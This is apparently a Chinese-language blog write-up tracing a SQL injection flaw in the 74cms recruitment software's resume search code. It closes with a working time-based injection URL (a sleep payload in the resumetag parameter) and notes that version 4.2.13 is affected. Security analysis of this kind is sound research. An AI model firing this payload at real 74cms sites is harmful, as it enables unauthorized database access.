74注入更新利用方法:http://yqxiaojunjie.com/index.php/archives/327/
/Application/Common/qscmstag/resume_listTag.class.php
//Ê¡ÊÐ,ְλ,ÐÐÒµ,±êÇ©£¬×¨Òµ
foreach(array(1=>'citycategory',2=>'jobcategory',3=>'trade',4=>'tag',5=>'major',6=>'age') as $v) {
$name = '_where_'.$v;
if(false !== $w = $this->$name(trim($this->params[$v]))) $map[] = $w;
}
遍历数组拼接_where以变量函数的方式调用函数,这里的$this->params[$v]其实就是我们请求的内容按数组分割了而已。这里我们挨着看一下每个调用
protected function _where_trade($data){
if($data){
if (strpos($data,',')){
$arr = explode(',',$data);
$arr=array_unique($arr);
$arr = array_slice($arr,0,10);
$arr = array_map('intval', $arr);
$sqlin = implode(' trade',$arr);
return '+(trade'.$sqlin.')';
}else{
return '+trade'.intval($data);
}
}
return false;
}
这里虽然最后是以拼接的方式但是中间执行了intval转换了类型继续看下一个
protected function _where_tag($data){
if($data){
if (strpos($data,',')){
$arr = explode(',',$data);
$arr=array_unique($arr);
$arr = array_slice($arr,0,10);
$sqlin = implode(' tag',$arr);
return '+(tag'.$sqlin.')';
}else{
return '+tag'.intval($data);
}
}
return false;
}
在这里发现也是采用拼接的方式但没有转换类型接着往下看
if($education = intval($this->params['education'])){
$category = D('Category')->get_category_cache();
$w = '';
foreach ($category['QS_education'] as $key => $val) {
if($key >= $education) $w[] = 'edu'.$key;
}
if($w){
$map[] = '+('.implode(' ',$w).')';
}
这里把我们return出来的值赋给了$w然后继续拼接
if($this->params['search_type'] == 'full'){
$this->field = 'id,MATCH (`key`) AGAINST ("'.implode(' ',$key).'") as score';
!$this->params['displayorder'] && $this->order = '`score` desc';
}
这里当我们的type为full的时候把我们的输入也拼接,重要的是这里
$this->where['key'] = array('match_mode',$map);
$map是我们的操作语句,match_mode算是thinkphp的一个方法吧
if(preg_match('/^(match_mode)$/',$val[0])){//全文搜索
//关键字补0
$val[1] = array_map("fulltextpad",$val[1]);
// IN BOOLEAN MODE
$str = implode(' ', $val[1]);
$whereStr .= 'MATCH ('.$key.') AGAINST ("'.$str.'" IN BOOLEAN MODE)';
判断数组0是否为match_mode,通过刚刚可以看见0确实为此条件,然后这里调用了fulltextpad这个函数
// È«ÎÄË÷Òý¹Ø¼ü×Ö²¹È«
function fulltextpad($str){
if(empty($str)) return '';
$leng = mb_strlen($str,'utf-8');
if($leng>=4) return $str;
$l=4-$leng;
for($i=1;$i<=$l;$i++){
$str.=0;
}
return $str;
}
这个函数主要干的事情就是全文索引关键字补全并无任何过滤的操作
$str = implode(' ', $val[1]);
$whereStr .= 'MATCH ('.$key.') AGAINST ("'.$str.'" IN BOOLEAN MODE)';
接着就是切割拼接,在这整个过程中没有任何安全防护,本身的获取如何没有指定过滤条件也是不会过滤的所以存在注入
本地复现:
http://127.0.0.1/74/index.php?m=&c=resume&a=resume_list&key=11111&search_type=full&citycategory=&jobcategory=&resumetag=179,1)");select sleep(6)%23&experience=&sex=&age=1&trade=&major=72&education=&nature=&wage=&settr=
这里用双引号报错因为我们的条件语句是被双引号包含着
因为是根据逗号切割所以没法报错注入
低版本貌似得用)报错进行注入,下载的最新版是用”进行的报错,4.2.13这些测试均存在